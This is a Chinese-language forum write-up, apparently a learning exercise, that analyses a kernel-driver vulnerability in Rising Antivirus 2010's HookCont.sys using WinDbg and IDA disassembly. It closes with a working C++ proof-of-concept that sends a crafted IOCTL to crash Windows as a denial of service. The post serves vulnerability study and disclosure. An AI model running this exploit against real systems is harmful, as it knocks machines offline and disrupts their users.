-
-
[原创]初学Windows内核漏洞之瑞星HookCont.sys
-
2021-11-4 16:44 10823
-
一.前言
该漏洞存在于瑞星2010 HookCont.sys驱动中,版本低于或者等于23.0.0.5的HookCont.sys都存在该漏洞。
参考资料 | 《0day安全:软件漏洞分析技术》 |
实验环境 | Win XP SP3 |
实验工具 | IDA Pro,WinDbg, VS2017 |
二.漏洞分析
1.WinDbg
驱动装载以后,首先在WinDbg中查看驱动装载情况。
kd> lm start end module name 804d8000 806e6000 nt (pdb symbols) d:\xpsymbols\ntkrpamp.pdb\7075F995A48A414F8F7BE9A1E0240F821\ntkrpamp.pdb 806e6000 80706d00 hal (deferred) b22a5000 b22a7a00 vmmemctl (deferred) b22a9000 b22ab200 HookCont (deferred) b24a1000 b24b8900 dump_atapi (deferred) b24b9000 b24e9000 BAPIDRV (deferred)
可以看到HookCont被装载到0xB22A9000到0xB22AB200内存区域中。接着再看看分发函数的情况
kd> !drvobj HookCont 2 Driver object (81b26b98) is for: *** ERROR: Module load completed but symbols could not be loaded for HookCont.sys \Driver\HookCont DriverEntry: b22aa066 HookCont DriverStartIo: 00000000 DriverUnload: 00000000 AddDevice: 00000000 Dispatch routines: [00] IRP_MJ_CREATE b22a9c3a HookCont+0xc3a [01] IRP_MJ_CREATE_NAMED_PIPE b22a9f62 HookCont+0xf62 [02] IRP_MJ_CLOSE b22a9c3a HookCont+0xc3a [03] IRP_MJ_READ b22a9f62 HookCont+0xf62 [04] IRP_MJ_WRITE b22a9f62 HookCont+0xf62 [05] IRP_MJ_QUERY_INFORMATION b22a9f62 HookCont+0xf62 [06] IRP_MJ_SET_INFORMATION b22a9f62 HookCont+0xf62 [07] IRP_MJ_QUERY_EA b22a9f62 HookCont+0xf62 [08] IRP_MJ_SET_EA b22a9f62 HookCont+0xf62 [09] IRP_MJ_FLUSH_BUFFERS b22a9f62 HookCont+0xf62 [0a] IRP_MJ_QUERY_VOLUME_INFORMATION b22a9f62 HookCont+0xf62 [0b] IRP_MJ_SET_VOLUME_INFORMATION b22a9f62 HookCont+0xf62 [0c] IRP_MJ_DIRECTORY_CONTROL b22a9f62 HookCont+0xf62 [0d] IRP_MJ_FILE_SYSTEM_CONTROL b22a9f62 HookCont+0xf62 [0e] IRP_MJ_DEVICE_CONTROL b22a9d2c HookCont+0xd2c [0f] IRP_MJ_INTERNAL_DEVICE_CONTROL b22a9fa4 HookCont+0xfa4 [10] IRP_MJ_SHUTDOWN b22a9f62 HookCont+0xf62 [11] IRP_MJ_LOCK_CONTROL b22a9f62 HookCont+0xf62 [12] IRP_MJ_CLEANUP b22a9f62 HookCont+0xf62 [13] IRP_MJ_CREATE_MAILSLOT b22a9f62 HookCont+0xf62 [14] IRP_MJ_QUERY_SECURITY b22a9f62 HookCont+0xf62 [15] IRP_MJ_SET_SECURITY b22a9f62 HookCont+0xf62 [16] IRP_MJ_POWER b22a9f1a HookCont+0xf1a [17] IRP_MJ_SYSTEM_CONTROL b22a9f62 HookCont+0xf62 [18] IRP_MJ_DEVICE_CHANGE b22a9f62 HookCont+0xf62 [19] IRP_MJ_QUERY_QUOTA b22a9f62 HookCont+0xf62 [1a] IRP_MJ_SET_QUOTA b22a9f62 HookCont+0xf62 [1b] IRP_MJ_PNP 804f55ce nt!IopInvalidDeviceRequest
可以看到DriverEntry的函数地址是0xB22AA066,根据上面得到的驱动装载地址,可以算出DriverEntry函数的偏移地址是0x1066。而驱动偏移0xD2C就是IRP_MJ_DEVICE_CONTROL的对应的函数地址。
2.IDA Pro
以下是DriverEntry中比较有用的两段代码,这两段代码完成对设备的创建,对分发函数的初始化以及符号链接的创建。
.text:000110A9 mov ebx, ds:RtlInitUnicodeString .text:000110AF push esi .text:000110B0 push offset DEVICE_NAME ; SourceString .text:000110B5 lea eax, [ebp+DestinationString] .text:000110B8 push eax ; DestinationString .text:000110B9 call ebx ; RtlInitUnicodeString .text:000110BB mov esi, [ebp+DriverObject] .text:000110BE lea eax, [ebp+DeviceObject] .text:000110C1 push eax ; DeviceObject .text:000110C2 push edi ; Exclusive .text:000110C3 push edi ; DeviceCharacteristics .text:000110C4 push 8300h ; DeviceType .text:000110C9 lea eax, [ebp+DestinationString] .text:000110CC push eax ; DeviceName .text:000110CD push edi ; DeviceExtensionSize .text:000110CE push esi ; DriverObject .text:000110CF call ds:IoCreateDevice 。。。。 .text:000110FD push 1Bh .text:000110FF lea edx, [esi+DRIVER_OBJECT.MajorFunction] .text:00011102 pop ecx .text:00011103 mov eax, offset DispatchCommon .text:00011108 mov edi, edx .text:0001110A rep stosd .text:0001110C mov eax, offset DispatchCreateAndClose .text:00011111 mov [edx], eax .text:00011113 mov [esi+40h], eax .text:00011116 push offset LINK_NAME ; SourceString .text:0001111B lea eax, [ebp+SymbolicLinkName] .text:0001111E push eax ; DestinationString .text:0001111F mov dword ptr [esi+70h], offset DispatchIoCtrl .text:00011126 mov dword ptr [esi+90h], offset DispatchPower .text:00011130 mov dword ptr [esi+74h], offset DispatchInternalDeivceControl .text:00011137 call ebx ; RtlInitUnicodeString .text:00011139 lea eax, [ebp+DestinationString] .text:0001113C push eax ; DeviceName .text:0001113D lea eax, [ebp+SymbolicLinkName] .text:00011140 push eax ; SymbolicLinkName .text:00011141 call ds:IoCreateSymbolicLink
而DEVICE_NAME和LINK_NAME的内容如下
.text:00010FDA DEVICE_NAME dw '\' ; DATA XREF: DriverEntry+4A↓o .text:00010FDC aDeviceHookcont: .text:00010FDC text "UTF-16LE", 'Device\hookcont',0 .text:00010FFC db 2 dup(0) .text:00010FFE ; const WCHAR LINK_NAME .text:00010FFE LINK_NAME dw '\' ; DATA XREF: DriverEntry+B0↓o .text:00011000 aDosdevicesHook: .text:00011000 text "UTF-16LE", 'DosDevices\hookcont',0 .text:00011028 db 2 dup(0)
那么,根据这个符号名,就可以完成对驱动的打开。
在DispatchComm函数中,程序首先会将输入缓冲区,输入缓冲区长度,输出缓冲区长度保存起来。接着会对输出缓冲区的地址的合法性进行判断,如果是非法的地址,则会跳转到函数执行结束的地方执行。如果对于偏移0x60数据不清楚的可以看下这篇:初学Windows内核漏洞之CVE-2011-2005。
.text:00010D62 mov ebx, [ebp+Irp] .text:00010D65 mov esi, [ebx+60h] ; 取出CurrentStackLocation赋给esi .text:00010D68 mov ecx, [esi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer] .text:00010D6B mov [ebp+var_InputBuffer], ecx .text:00010D6E mov edi, [ebx+IRP.UserBuffer] ; 将输出缓冲区的地址赋给edi .text:00010D71 mov eax, [esi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength] .text:00010D74 mov [ebp+var_InputBufferLength], eax .text:00010D77 mov edx, [esi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength] .text:00010D7A mov [ebp+var_OutBufferLength], edx .text:00010D7D mov eax, ds:MmUserProbeAddress .text:00010D82 mov eax, [eax] .text:00010D84 cmp edi, eax ; 输出缓冲区起始地址是否在合理范围 .text:00010D86 ja loc_10EF2 ; 如果大于这个范围,则跳转到函数运行失败的代码执行 .text:00010D8C add edx, edi ; edx是输出缓冲区长度,加上起始地址就是输出缓冲区的结束地址 .text:00010D8E cmp edx, eax ; 输出缓冲区结束地址是否在合理范围 .text:00010D90 ja loc_10EF2 ; 如果大于这个范围,则跳转到函数运行失败的代码执行 。。。。 .text:00010EF2 loc_10EF2: ; CODE XREF: DispatchIoCtrl+5A↑j .text:00010EF2 ; DispatchIoCtrl+64↑j ... .text:00010EF2 mov dword ptr [ebp-1Ch], STATUS_INVALID_PARAMETER .text:00010EF9 ; START OF FUNCTION CHUNK FOR DispatchIoCtrl .text:00010EF9 .text:00010EF9 loc_10EF9: ; CODE XREF: DispatchIoCtrl+EC↑j .text:00010EF9 ; DispatchIoCtrl+F8↑j ... .text:00010EF9 mov eax, [ebp+var_OutBufferLength] .text:00010EFC mov [ebx+IRP.IoStatus.Information], eax .text:00010EFF mov esi, [ebp+var_Status] .text:00010F02 mov [ebx+IRP.IoStatus.anonymous_0.Status], esi .text:00010F05 xor dl, dl ; PriorityBoost .text:00010F07 mov ecx, ebx ; Irp .text:00010F09 call ds:IofCompleteRequest .text:00010F0F mov eax, esi .text:00010F11 .text:00010F11 loc_10F11: ; CODE XREF: DispatchIoCtrl+31↑j .text:00010F11 call __SEH_epilog .text:00010F16 retn 8
接着程序会调用ProbeForRead和ProbeForWrite对输入输出缓冲区进行读写检查。
.text:00010D96 and [ebp+ms_exc.registration.TryLevel], 0 .text:00010D9A push 1 ; Alignment .text:00010D9C push [ebp+var_InputBufferLength] ; Length .text:00010D9F push ecx ; Address .text:00010DA0 call ds:ProbeForRead .text:00010DA6 push 1 ; Alignment .text:00010DA8 push [ebp+var_OutBufferLength] ; Length .text:00010DAB push edi ; Address .text:00010DAC call ds:ProbeForWrite
由于,在调用ProbeForWrite的时候,如果它的第二个参数,也就是输出缓冲区的长度如果是0的话,那么这个函数的检查就会被绕过。所以这就产生了漏洞。只要输出缓冲区的长度是0,那么就算输出缓冲区是个非法的地址,程序依然就继续执行下去。
接下来程序就会取出发送的IOCTL,并根据IOCTL的值来决定要执行的代码
.text:00010DB2 or [ebp+ms_exc.registration.TryLevel], 0FFFFFFFFh .text:00010DB6 mov esi, [esi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode] .text:00010DB9 cmp esi, 83003C07h .text:00010DBF jz loc_10E91 .text:00010DC5 cmp esi, 83003C0Bh .text:00010DCB jz loc_10E78 .text:00010DD1 cmp esi, 83003C0Fh .text:00010DD7 jz short loc_10E4B .text:00010DD9 cmp esi, 83003C13h .text:00010DDF jz short loc_10E3A .text:00010DE1 cmp esi, 83003C17h .text:00010DE7 jz short loc_10E29 .text:00010DE9 cmp esi, 83003C1Bh .text:00010DEF jz short loc_10E1D .text:00010DF1 cmp esi, 83003C1Fh .text:00010DF7 jnz loc_10EF2
对于第一个IOCTL,它的最后两位是11(0x3),那么对应的通信方式就是METHOD_NEITHER。该通信方式会直接对传入的输入输出地址进行操作,很可能有漏洞,跟进loc_10E91查看其中的内容。
.text:00010E91 loc_10E91: ; CODE XREF: DispatchIoCtrl+93↑j .text:00010E91 mov ecx, Handle ; Handle .text:00010E97 cmp byte ptr [ecx+2AFCh], 0 .text:00010E9E jnz short loc_10ED2 .text:00010EA0 push 4 .text:00010EA2 pop esi ; 将esi赋值为4 .text:00010EA3 cmp [ebp+var_InputBufferLength], esi ; 判断输入缓冲区长度是否小于4 .text:00010EA6 jb short loc_10ED2 ; 如果小于4则跳转失败代码进行执行 .text:00010EA8 mov eax, [ebp+var_InputBuffer] ; 获取输入缓冲区地址 .text:00010EAB push dword ptr [eax] ; Handle .text:00010EAD call GetObjectInfo ; 将输入缓冲区中的前4字节的内容入栈,在调用函数 .text:00010EB2 test eax, eax ; 返回值是否为0 .text:00010EB4 jnz short loc_10EBF ; 不为0,则对输出缓冲区进行赋值 .text:00010EB6 mov [ebp+var_Status], STATUS_UNSUCCESSFUL .text:00010EBD jmp short loc_10EC4 .text:00010EBF ; --------------------------------------------------------------------------- .text:00010EBF .text:00010EBF loc_10EBF: ; CODE XREF: DispatchIoCtrl+188↑j .text:00010EBF mov [edi], eax ; 将返回值赋值到输出缓冲区中 .text:00010EC1 mov [ebx+IRP.IoStatus.Information], esi
程序首先判断输入缓冲区长度是否大于等于4,如果满足条件,则把输入缓冲区前4字节的内容压入栈中并调用GetObjectInfo函数。函数的返回值如果是0,则会跳过对输出缓冲区的赋值,否则就会将返回值赋到输出缓冲区中。
而在GetObjectInfo中,函数会将传入的输入缓冲区的4字节参数作为句柄传给ObReferenceObjectByHandle来获得相应的对象,随后会从这个对象中取出相应的内容来给eax赋值。
.text:000105C3 loc_105C3: ; CODE XREF: GetObjectInfo+13↑j .text:000105C3 push ebx ; HandleInformation .text:000105C4 push esi ; Object .text:000105C5 push ebx ; AccessMode .text:000105C6 push ebx ; ObjectType .text:000105C7 push 10000000h ; DesiredAccess .text:000105CC push [esp+28h+arg_Handle] ; Handle .text:000105D0 call ds:ObReferenceObjectByHandle .text:000105D6 test eax, eax .text:000105D8 jge short loc_105E1 .text:000105DA xor eax, eax .text:000105DC jmp loc_106A3 。。。 .text:0001068B loc_1068B: ; CODE XREF: GetObjectInfo+C4↑j .text:0001068B cmp [esi+2B50h], ebx .text:00010691 jz short loc_10652 .text:00010693 mov eax, [esi+2B4Ch] .text:00010699 mov eax, [eax+18h] .text:0001069C or eax, [esi+2B50h]
三.漏洞利用
对上面的分析进行总结,可以得出如下的结论:
IOCTL等于0x83003C07的时候,用户层和内核层会采用METHOD_NEITHER的方式进行通信,该方式会直接对传入的输入输出的地址进行操作。
程序虽然会调用ProbeForWrite对输出缓冲区进行检查,但是没对输出缓冲区长度进行检查,如果传入的参数是0,那么此函数的检查将失效
对输出缓冲区的赋值是将输入的前4字节作为句柄进行解析,将解析到的对象的内容赋给输出缓冲区
根据这三个结论就可以知道,要利用这个漏洞只需要输入缓冲区给一个合适的句柄对象,输出缓冲区的地址给一个非法的地址且输出缓冲区的长度设置为0。那么,此时对输出缓冲区的赋值就会导致蓝屏错误,这就造成了拒绝服务攻击,具体代码如下。
// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <cstdio> #include <cstdlib> #include <windows.h> #include "ntapi.h" #pragma comment(linker, "/defaultlib:ntdll.lib") #define LINK_NAME "\\\\.\\hookcont" // 打开的符号名 #define IOCTL 0x83003C07 // 要发送的IOCTL #define INPUT_BUFFER_LENGTH 4 // 输入缓冲区长度 #define OUT_BUFFER_LENGTH 0 // 输出缓冲区长度 void ShowError(PCHAR msg); // 打印错误信息 int main() { HANDLE hDevice = NULL; DWORD dwRetSize = 0; DWORD dwInputBuffer = 0, dwOutBufferAddr = 0; hDevice = CreateFile(LINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == NULL) { ShowError("CreateFile"); goto exit; } dwInputBuffer = (DWORD)hDevice; // 输入缓冲区保存要解析的句柄 dwOutBufferAddr = 0; // 输出缓冲区地址是非法的 if (!DeviceIoControl(hDevice, IOCTL, &dwInputBuffer, INPUT_BUFFER_LENGTH, (PVOID)dwOutBufferAddr, OUT_BUFFER_LENGTH, &dwRetSize, NULL)) { ShowError("DeviceIoControl"); goto exit; } exit: if (hDevice) CloseHandle(hDevice); system("pause"); return 0; } void ShowError(PCHAR msg) { printf("%s Error 0x%X\n", msg, GetLastError()); }
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法